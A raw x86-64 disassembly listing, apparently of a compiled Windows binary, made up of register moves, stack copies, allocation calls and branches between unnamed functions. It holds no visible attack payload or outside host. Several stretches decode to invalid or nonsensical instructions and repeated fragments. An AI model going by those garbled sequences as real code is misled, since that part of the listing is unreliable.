movups xmm0, xmmword [rcx - 0x28]
movaps xmmword [rsp + 0x610], xmm0
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x5b8], rax
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x6d0], xmm0
mov rax, qword [rsp + 0x810]
and al, 0x10
or byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
xor byte [r14 - 0x77], spl
test byte [rax + riz*4], ah
add al, 0
invalid
and al, 0x10
or byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
xor byte [r14 - 0x77], spl
test byte [rax + riz*4], ah
add al, 0
add bl, dh
movq mm0, qword [rcx + 0x10]
add byte [rax], al
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm1, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x490], xmm1
movdqa xmmword [rsp + 0x480], xmm0
movzx eax, byte [rsp + 0x83a]
test byte [rdx + rdi], ah
or byte [rax], al
add byte [rax - 0x74c1dbbc], cl
xor ecx, dword [r9 + 0xd82484]
add byte [rax], al
test byte [rdx + rdi], ah
or byte [rax], al
add byte [rax - 0x74c1dbbc], cl
xor ecx, dword [r9 + 0xd82484]
add byte [rax], al
movzx eax, byte [rcx + 0x37]
mov byte [rsp + 0xdc], al
test byte [rsp + rbx*8], ah
add byte [rax], al
invalid
test byte [rsp + rbx*8], ah
add byte [rax], al
add byte [rcx + 0x412c2454], cl
push rsp
and al, 0x2c
invalid
mov dword [rsp + 0x2c], edx
push rsp
and al, 0x2c
cmp r13d, 3
cmp ebp, 3
setne al
xor bl, 1
mov bpl, 1
test al, al
mov r13, qword [rsp + 0x58]
je 0x140082256
test dl, bl
cld
invalid
invalid
test dl, bl
cld
invalid
jmp 0x140082270
enter 0xffffffffffffe0ff, 0xffffffffffffffc7
and al, 0x2c
add byte [rax], al
add byte [rax], al
jmp 0x14008202e
movups xmm13, xmmword [0x14012b788]
movaps xmmword [rsp + 0x1b0], xmm13
movups xmm14, xmmword [0x14012b778]
add byte [rdi + rcx + 0x29], al
lodsb al, byte [rsi]
and al, 0xb0
add dword [rax], eax
add byte [rdi + rcx + 0x10], al
xor eax, 0xa91b7
movaps xmmword [rsp + 0x1a0], xmm14
add byte [rax], al
mov rcx, r12
lea rdx, [rsp + 0x1a0]
xchg esp, eax
and al, 0xa0
add dword [rax], eax
add al, ch
xchg byte [rdx], dh
cli
invalid
test al, al
je 0x1400825f8
xchg esp, eax
and al, 0xa0
add dword [rax], eax
add al, ch
xchg byte [rdx], dh
cli
inc dword [rax + rax*8 - 0x437fe58c]
and al, 0x3a
or byte [rax], al
add byte [rcx], al
cmp byte [rsp + 0x83a], 1
jne 0x140082632
mov esi, 4
mov al, 2
mov dword [rsp + 0x2c], eax
add byte [rax + 0x24448902], dh
sub al, 0xe9
invalid
std
cld
invalid
jmp 0x1400822f5
mov rcx, r12
call fcn.140038030
cmp rax, 1
jne 0x1400826c4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
cli
dec byte [rdi]
invalid
cmp rdx, 0xfffffffffffffffe
jb 0x140082383
mov esi, 4
mov al, 9
mov dword [rsp + 0x2c], eax
jmp 0x1400822f5
movaps xmmword [rsp + 0x1b0], xmm13
movaps xmmword [rsp + 0x1a0], xmm14
lea rcx, [rsp + 0x4b0]
mov rdx, r12
lea r8, [rsp + 0x1a0]
call fcn.1400383d0
mov rax, qword [rsp + 0x4c0]
cmp qword [rsp + 0x4b0], 0
je 0x140082714
mov rcx, qword [rsp + 0x4b8]
mov rdx, qword [rax + 0x28]
cmp rdx, rcx
jbe 0x1400852ff
mov rdx, qword [rax + 0x20]
imul r8, rcx, 0x68
mov r9, qword [rdx + r8]
mov rdx, qword [rdx + r8 + 0x10]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], rcx
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1b0], r9
mov eax, 0x18
jmp 0x14008273e
movups xmm0, xmmword [0x140142ee0]
movaps xmmword [rsp + 0x1b0], xmm0
movdqu xmm0, xmmword [0x140142ed0]
movdqa xmmword [rsp + 0x1a0], xmm0
mov rcx, r12
lea rdx, [rsp + 0x1a0]
call fcn.140025860
test al, al
je 0x140082708
mov esi, 4
mov al, 1
mov dword [rsp + 0x2c], eax
jmp 0x1400822f5
mov rdx, 0xffffffffffffffff
jmp 0x140082383
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 0xffffffffffffffff
mov qword [rsp + 0x1a0], 2
mov edx, 2
mov eax, 0x10
mov qword [rsp + rax + 0x1a0], rdx
lea rcx, [rsp + 0x1a0]
call fcn.14003b230
movzx edx, al
not rdx
jmp 0x140082383
mov rcx, r14
mov rdx, rdi
mov r8, r13
call fcn.140090c50
mov rax, qword [rsp + 0x1450]
test rax, rax
je 0x14007efb5
cmp eax, 1
jne 0x1400832a4
cmp qword [rsp + 0x1458], 0
je 0x1400827f6
mov rcx, r12
lea rdx, [rsp + 0x2e0]
lea r8, [rsp + 0x1458]
call fcn.140036510
cmp byte [rsp + 0x7f0], 2
jne 0x14008287e
cmp byte [rdi + 0x1d0], 3
je 0x1400827c8
mov rcx, r15
call fcn.140085690
mov rax, qword [rsp + 0x2f0]
mov qword [r15 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqa xmm1, xmmword [rsp + 0x2e0]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
jmp 0x14007eded
mov rsi, qword [rsp + 0x1460]
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov rbx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140085003
mov qword [rax], rsi
mov qword [rbx], rax
lea rax, [0x14013cdd0]
mov qword [rbx + 8], rax
mov rcx, qword [rsp + 0x2e0]
movzx edx, byte [rsp + 0x2f0]
mov r8, rbx
call fcn.140036eb0
lea rsi, [rsp + 0x2d0]
jmp 0x14007efb5
mov rax, qword [rsp + 0x7d0]
mov rdx, qword [rsp + 0x7d8]
test rax, rax
je 0x14008518c
lea rcx, [rsp + 0x808]
movdqu xmm0, xmmword [rcx - 0x28]
lea rcx, [rsp + 0x1b8]
movdqu xmmword [rcx - 8], xmm0
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rcx, qword [rdi + 0x70]
dec rcx
cmp rcx, 2
jae 0x1400828dd
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1b8]
call qword [rax + 0x10]
jmp 0x14007efb5
cmp rax, 1
jne 0x140082a94
mov rsi, rdx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov r13, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 6
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140085003
mov qword [rax], rsi
mov qword [r13], rax
lea rax, [0x14012a648]
mov qword [r13 + 8], rax
jmp 0x140082ad8
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x750], rax
movaps xmm0, xmmword [rsp + 0x760]
movaps xmmword [rsp + 0x740], xmm0
movaps xmm0, xmmword [rsp + 0x7b0]
movaps xmmword [rsp + 0x7a0], xmm0
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x580], xmm0
movaps xmmword [rsp + 0x590], xmm1
movzx eax, word [rsp + 0x120]
mov word [rsp + 0x5a0], ax
mov eax, dword [rsp + 0x178]
mov dword [rsp + 0x170], eax
movzx eax, byte [rsp + 0x17c]
mov byte [rsp + 0x174], al
mov byte [rdi + 0xd0], 0
cmp byte [rdi + 0xd2], 2
jne 0x1400829f3
cmp byte [rsp + 0xd4], 0
jne 0x140082a08
cmp byte [rsp + 0xd4], 1
mov eax, 0
adc al, 1
mov byte [rdi + 0xd2], al
movzx eax, byte [rsp + 0x3e]
mov byte [rdi + 0xd3], al
cmp byte [rsp + 0x4c], 0
sete bl
mov rax, qword [rsp + 0x5c8]
cmp rax, 0xfffffffffffffffe
je 0x140083183
cmp rax, 0xffffffffffffffff
je 0x14008317f
test rax, rax
jne 0x140083189
mov qword [rdi + 0x70], 3
mov rcx, rdi
call fcn.140090a90
mov rcx, rdi
mov rdx, r13
call fcn.140090b70
xor edx, edx
jmp 0x1400831b7
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x900
jmp 0x140082ad8
mov esi, 5
mov bl, 1
cmp rsi, 3
jne 0x140082ce4
jmp 0x140082f1b
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
mov edx, dword [rsp + 0x2c]
mov qword [rsp + 0x4b0], r13
movzx r8d, byte [rdi + 0xd2]
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov rsi, qword [rdi + 0x160]
test rsi, rsi
mov dword [rsp + 0x2c], edx
je 0x140082ba2
mov rax, qword [rsp + 0x348]
mov r15, qword [rax]
xor r14d, r14d
jmp 0x140082b28
inc r14
cmp rsi, r14
je 0x140082b6b
movzx eax, byte [r15 + r14]
cmp eax, 0xd
je 0x140082b20
cmp eax, 0xa
je 0x140082b20
mov qword [rsp + 0x1a0], r14
cmp rsi, r14
jb 0x140085409
mov r14, rsi
mov r12, qword [rdi + 0x170]
test r12b, 1
je 0x140082b5e
xor esi, esi
cmp byte [r13 + 0x30], 0
jne 0x140082ca2
jmp 0x140082e8c
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140084ead
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0
mov edx, dword [rsp + 0x2c]
mov byte [rax + 0x31], dl
jmp 0x140082adc
test r8b, r8b
jne 0x140082e8c
test rsi, rsi
jne 0x140082e8c
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
lea rcx, [rsp + 0x4b0]
call fcn.140035fe0
mov esi, 4
mov bl, 1
cmp rsi, 3
je 0x140082f1b
cmp rsi, 4
je 0x140082e69
cmp rsi, 5
je 0x140084c1e
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 5
mov r13, qword [rsp + 0x58]
lea rsi, [rsp + 0x2d0]
jne 0x14007eded
mov qword [rsp + 0x7d0], r13
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 2
jne 0x140082f0a
cmp rsi, 0x18
jb 0x140082f0a
mov esi, 3
mov bl, 1
cmp rsi, 3
jne 0x140082ce4
mov qword [rsp + 0x7d8], r13
mov qword [rsp + 0x7d0], 3
mov rcx, rbp
mov rdx, r12
call fcn.1400857f0
test rax, rax
lea rsi, [rsp + 0x2d0]
jne 0x140084c2d
mov byte [rdi + 0x1e0], 1
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
jmp 0x14007eded
mov al, 2
jmp 0x14008318e
mov al, 1
xor ecx, ecx
jmp 0x14008318e
mov rcx, rax
xor eax, eax
mov qword [rdi + 0x70], 2
mov byte [rdi + 0x78], al
mov byte [rdi + 0x79], 0
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], 0
mov rdx, qword [rsp + 0x5c8]
mov rax, qword [rsp + 0x5c0]
shl rax, 8
movzx r13d, byte [rsp + 0x2c]
or r13, rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x710], rax
movaps xmm0, xmmword [rsp + 0x740]
movaps xmmword [rsp + 0x700], xmm0
movaps xmm0, xmmword [rsp + 0x7a0]
movaps xmmword [rsp + 0x790], xmm0
movdqa xmm0, xmmword [rsp + 0x580]
movdqa xmm1, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x6a0], xmm0
movdqa xmmword [rsp + 0x6b0], xmm1
movzx eax, word [rsp + 0x5a0]
mov word [rsp + 0x6c0], ax
mov eax, dword [rsp + 0x170]
mov dword [rsp + 0x168], eax
movzx eax, byte [rsp + 0x174]
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x630], rax
cmp rsi, 3
jne 0x140082ce4
jmp 0x140082f1b
mov esi, 1
test rax, rax
je 0x140084754
cmp eax, 4
je 0x1400832e3
mov rax, qword [rdi + 0x160]
jmp 0x14008479f
cmp byte [rdi + 0x1d0], 3
je 0x1400832b5
mov rcx, r15
call fcn.140085690
mov rax, qword [rsp + 0x2f0]
mov qword [r15 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqa xmm1, xmmword [rsp + 0x2e0]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
mov esi, 1
test rdx, rdx
je 0x1400832f1
test rsi, rsi
je 0x140084c6a
cmp byte [rdi + 0x1e0], 0
je 0x140083360
lea rsi, [rsp + 0x2d0]
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, r13
call case.0x1400dc119.208
mov rcx, rax
call fcn.1400928f0
test rax, rax
jne 0x14007edc0
test rdx, rdx
je 0x14007edc0
jmp 0x140084c6a
mov rcx, rbx
call fcn.14005bac0
mov qword [rsi], 0
cmp byte [rdi + 0x1e0], 0
lea rsi, [rsp + 0x2d0]
jne 0x140083310
mov rax, qword [rdi + 0x1d8]
cmp qword [rax], 0
je 0x1400834f0
cmp byte [rdi + 0x178], 0
je 0x140083560
mov rsi, qword [rdi + 0x1d8]
cmp qword [rsi], 0
je 0x1400835c0
lea rbx, [rsi + 8]
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
cmp rax, 3
ja 0x140083340
cmp rax, 2
je 0x140083340
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.14004e9f0
cmp dword [rsp + 0x7d0], 2
je 0x1400832fa
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x4d0], rax
movdqu xmm0, xmmword [rsp + 0x7d0]
movdqu xmm1, xmmword [rsp + 0x7e0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
mov r13, qword [rsp + 0x4b0]
test r13, r13
je 0x1400836a3
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x4b8]
mov rbx, qword [rsp + 0x4c0]
test rax, rax
je 0x140084910
lea rcx, [rsp + 0x4c8]
movdqu xmm0, xmmword [rcx]
lea rcx, [rsp + 0x110]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rbx
mov rbx, qword [rsp + 0x50]
cmp qword [rbx], 0
je 0x1400836ca
cmp qword [rsi + 0x18], 0
je 0x1400836dd
mov rbx, qword [rsp + 0x110]
test rbx, rbx
je 0x140083bbe
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x480], xmm0
mov r14, qword [rsp + 0x118]
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 3
ja 0x1400834b3
cmp rcx, 1
jne 0x140084ee2
test rax, rax
je 0x140083ccd
mov rax, qword [rdi + 0x98]
mov rcx, rax
sub rcx, rbx
jae 0x140083d9c
mov qword [rdi + 0x98], 0
mov ecx, 1
jmp 0x140083da5
cmp qword [rdi + 0x70], 4
je 0x140083371
cmp qword [rdi + 0x90], 2
jne 0x140083371
mov r8, qword [rdi + 0x110]
test r8, r8
je 0x140083871
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x108]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
mov r9, rcx
sub r9, rax
mov rdx, r8
sub rdx, r9
ja 0x140083877
add r8, rax
mov rcx, r8
jmp 0x140083875
cmp byte [rdi + 0x120], 0
je 0x1400835f5
mov r8, qword [rdi + 0x110]
cmp r8, 0xf
ja 0x140083679
test r8, r8
je 0x140083605
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x108]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
mov r9, rcx
sub r9, rax
mov rdx, r8
sub rdx, r9
ja 0x14008360b
add r8, rax
mov rcx, r8
jmp 0x140083609
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
cmp rax, 3
ja 0x1400832fa
cmp rax, 2
je 0x1400832fa
mov rcx, rdi
call fcn.140092990
test rax, rax
je 0x14008334f
jmp 0x1400848aa
mov r8, qword [rdi + 0x110]
test r8, r8
jne 0x140083587
xor eax, eax
xor ecx, ecx
xor edx, edx
mov rsi, qword [rdi + 0xe8]
sub rsi, qword [rdi + 0xf0]
mov r8, qword [rdi + 0x100]
lea rax, [rax + rax*4]
shl rax, 4
add rax, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rcx
mov qword [rsp + 0x7e0], r8
mov qword [rsp + 0x7e8], rdx
mov rcx, r12
call fcn.140091dc0
add rax, rsi
cmp rax, qword [rdi + 0x118]
jb 0x14008337e
mov rcx, rdi
mov rdx, r13
call case.0x1400dc119.208
mov rcx, rax
call fcn.1400928f0
test rax, rax
jne 0x140084b39
test rdx, rdx
je 0x14008334f
jmp 0x140084b39
mov rcx, rdi
call fcn.140092990
mov bpl, 1
test rax, rax
jne 0x140084987
test r13, r13
mov r13, qword [rsp + 0x58]
je 0x140084667
jmp 0x14008469a
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
call qword [rax + 0x28]
test al, al
je 0x14008346b
mov rbp, qword [rsp + 0x110]
test rbp, rbp
je 0x140083c83
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x480], xmm0
mov rbx, qword [rsp + 0x118]
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 3
ja 0x140083725
cmp rcx, 1
jne 0x140084f58
test rax, rax
je 0x140083e72
mov r12, qword [rdi + 0x98]
xor eax, eax
cmp rbp, r12
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x1400840c2
movzx eax, al
cmp eax, 1
jne 0x140084101
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], r12
cmp byte [rdi + 0x120], 0
je 0x1400844ed
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x7f0], rax
movaps xmm0, xmmword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x7e8], rax
movaps xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
cmp rax, rcx
jne 0x1400837fe
mov rcx, qword [rsp + 0x5d0]
call fcn.140092f50
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
mov rdx, qword [rdi + 0x108]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rdi + 0x100]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 1
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rcx + rdx + 8], xmm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
mov r8, qword [rsp + 0x7f0]
mov qword [rcx + rdx + 0x28], r8
inc rax
mov qword [rdi + 0x110], rax
lea r12, [rsp + 0x7d0]
jmp 0x14008463a
xor eax, eax
xor ecx, ecx
xor edx, edx
mov r8, qword [rdi + 0x100]
lea rax, [rax + rax*4]
shl rax, 4
add rax, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rcx
mov qword [rsp + 0x7e0], r8
mov qword [rsp + 0x7e8], rdx
mov rcx, r12
call fcn.140091dc0
test rax, rax
jne 0x140083371
cmp qword [rdi + 0x180], 2
jne 0x140083371
mov rdx, qword [rdi + 0x198]
mov r8, qword [r13]
mov rcx, r12
call fcn.140086120
mov rsi, qword [rsp + 0x8d0]
cmp rsi, 3
je 0x140084a58
cmp esi, 4
je 0x1400849df
cmp esi, 2
je 0x140084de7
mov r8d, 0x100
mov rcx, r14
mov rdx, r12
call fcn.140106250
lea rbx, [rsp + 0x808]
movdqu xmm0, xmmword [rbx + 0xd0]
lea rax, [rsp + 0x110]
movdqu xmmword [rax - 8], xmm0
mov qword [rsp + 0x100], rsi
lea rcx, [rsp + 0x100]
mov rdx, r13
call fcn.14008d570
test al, al
je 0x140084a61
lea rcx, [rsp + 0x1458]
mov rax, qword [rcx + 0xc0]
mov qword [rbx + 0x30], rax
movups xmm0, xmmword [rcx + 0xb0]
movups xmmword [rbx + 0x20], xmm0
lea rdx, [rsp + 0x14b0]
mov rax, qword [rdx + 0x50]
mov qword [rsp + 0x820], rax
movups xmm0, xmmword [rdx + 0x40]
movaps xmmword [rsp + 0x810], xmm0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
movzx ebx, byte [rsp + 0x1528]
mov rsi, qword [rsp + 0x1450]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1c0], xmm2
movaps xmmword [rsp + 0x1d0], xmm3
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rcx + 0x50]
mov qword [rsp + 0x1f0], rax
mov r14, qword [rsp + 0x1520]
movaps xmm0, xmmword [rsp + 0x830]
lea rax, [rsp + 0x1b8]
movups xmmword [rax + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0x820]
movups xmmword [rax + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0x810]
movups xmmword [rax + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movaps xmm2, xmmword [rsp + 0x7f0]
movaps xmm3, xmmword [rsp + 0x800]
movups xmmword [rax + 0x70], xmm3
movups xmmword [rax + 0x60], xmm2
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x40], xmm0
cmp dword [rbp], 2
je 0x140083aa2
mov rcx, rbp
call fcn.140065ad0
mov rax, qword [rsp + 0x110]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rbp], xmm0
lea rax, [rsp + 0x1530]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
lea rax, [rsp + 0x318]
movdqu xmmword [rax - 1], xmm1
movdqu xmmword [rax - 0x11], xmm0
mov r8d, 0xc8
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x1a0]
call fcn.140106250
cmp rsi, 3
je 0x140084a83
cmp rsi, 4
je 0x140084aa4
mov rax, qword [rsp + 0x31f]
mov qword [rsp + 0x7ef], rax
movups xmm0, xmmword [rsp + 0x300]
movups xmm1, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x3a0], rsi
mov r8d, 0xc8
lea rcx, [rsp + 0x3a8]
lea rdx, [rsp + 0x4b0]
call fcn.140106250
mov qword [rsp + 0x470], r14
mov byte [rsp + 0x478], bl
lea rax, [rsp + 0x7d7]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x1460], xmm1
movdqa xmmword [rsp + 0x1450], xmm0
cmp qword [rsp + 0x1450], 0
je 0x140083be6
mov rsi, qword [rsp + 0x1460]
test rsi, rsi
lea r14, [rsp + 0x1450]
je 0x140083c09
mov eax, 1
mov rcx, rsi
jmp 0x1400843cc
mov rax, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x118]
xor r8d, r8d
call qword [rax + 0x10]
mov r13, qword [rsp + 0x58]
jmp 0x14008334f
mov rcx, qword [rsp + 0x1458]
mov rax, qword [rsp + 0x1460]
call qword [rax + 0x28]
test al, al
lea r14, [rsp + 0x1450]
je 0x14008409e
mov rsi, qword [rdi + 0x1d8]
cmp qword [rsi], 0
je 0x140083c1f
lea rcx, [rsi + 8]
call fcn.14005bac0
mov qword [rsi], 0
mov r9d, 2
mov rcx, r12
mov rdx, rdi
lea r8, [rsp + 0x3a0]
call fcn.1400931a0
mov rax, qword [rsp + 0x7d0]
cmp rax, 2
je 0x140084199
mov rcx, qword [rsp + 0x7d8]
movzx edx, byte [rsp + 0x7e0]
cmp eax, 1
jne 0x14008414a
test rcx, rcx
jne 0x14008414a
mov eax, edx
and al, 1
movzx eax, al
or rax, 4
jmp 0x14008416a
mov rcx, rdi
call fcn.140092990
test rax, rax
jne 0x140084ae3
mov rax, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
lea rcx, [rsp + 0x118]
call qword [rax + 0x10]
mov bpl, 1
test r13, r13
mov r13, qword [rsp + 0x58]
je 0x140084667
jmp 0x14008469a
mov qword [rsp + 0x580], rbx
movaps xmmword [rsp + 0x1a0], xmm8
mov dword [rsp + 0x1b0], 0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x300], rax
lea rax, [0x1400199d0]
mov qword [rsp + 0x308], rax
lea rax, [0x14012bb60]
mov qword [rsp + 0x1450], rax
mov qword [rsp + 0x1458], 2
mov qword [rsp + 0x1470], 0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x1460], rax
mov qword [rsp + 0x1468], 1
lea rcx, [rsp + 0x1a0]
lea rdx, [0x14012b0e8]
lea r8, [rsp + 0x1450]
call fcn.140013bb0
test al, al
jne 0x140084fce
mov rax, qword [rsp + 0x1a0]
lea rdx, [rsp + 0x1b8]
mov rcx, qword [rdx - 0x10]
mov qword [rsp + 0x1450], rcx
mov ecx, dword [rdx - 8]
mov dword [rsp + 0x1458], ecx
mov ecx, 2
jmp 0x140083da5
mov qword [rdi + 0x98], rcx
xor ecx, ecx
mov qword [rsp + 0x7d0], rcx
movdqa xmm0, xmmword [rsp + 0x480]
lea rcx, [rsp + 0x808]
movdqu xmmword [rcx - 0x30], xmm0
mov qword [rsp + 0x7e8], rbx
mov qword [rsp + 0x7f0], r14
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0x1450]
mov qword [rcx - 8], rax
mov eax, dword [rsp + 0x1458]
mov dword [rcx], eax
mov eax, dword [rsp + 0x145c]
mov dword [rcx + 4], eax
lea rax, [0x14013fd90]
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], 2
mov rcx, qword [rsp + 0xc0]
mov rdx, r12
call fcn.140092ac0
cmp qword [rdi + 0x90], 0
je 0x140083e50
cmp qword [rdi + 0x98], 0
jne 0x140083e50
cmp byte [rdi + 0xa0], 1
mov eax, 5
sbb rax, 0
mov qword [rdi + 0x90], rax
xor ebp, ebp
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
test r13, r13
mov r13, qword [rsp + 0x58]
je 0x140084667
jmp 0x14008469a
mov qword [rsp + 0x580], rbp
movaps xmmword [rsp + 0x1a0], xmm8
mov dword [rsp + 0x1b0], 0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x300], rax
lea rax, [0x1400199d0]
mov qword [rsp + 0x308], rax
lea rax, [0x14012bb60]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
lea rcx, [rsp + 0x1a0]
lea rdx, [0x14012b0e8]
mov r8, r12
call fcn.140013bb0
test al, al
jne 0x140084fce
mov eax, dword [rsp + 0x1b0]
lea rcx, [rsp + 0x1470]
mov dword [rcx + 0x10], eax
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rcx], xmm0
movdqa xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0x1450], xmm0
mov qword [rsp + 0x1460], rbp
mov qword [rsp + 0x1468], rbx
lea rax, [0x14013fd89]
mov qword [rsp + 0x1488], rax
mov qword [rsp + 0x1490], 7
cmp byte [rdi + 0x120], 0
je 0x1400841a6
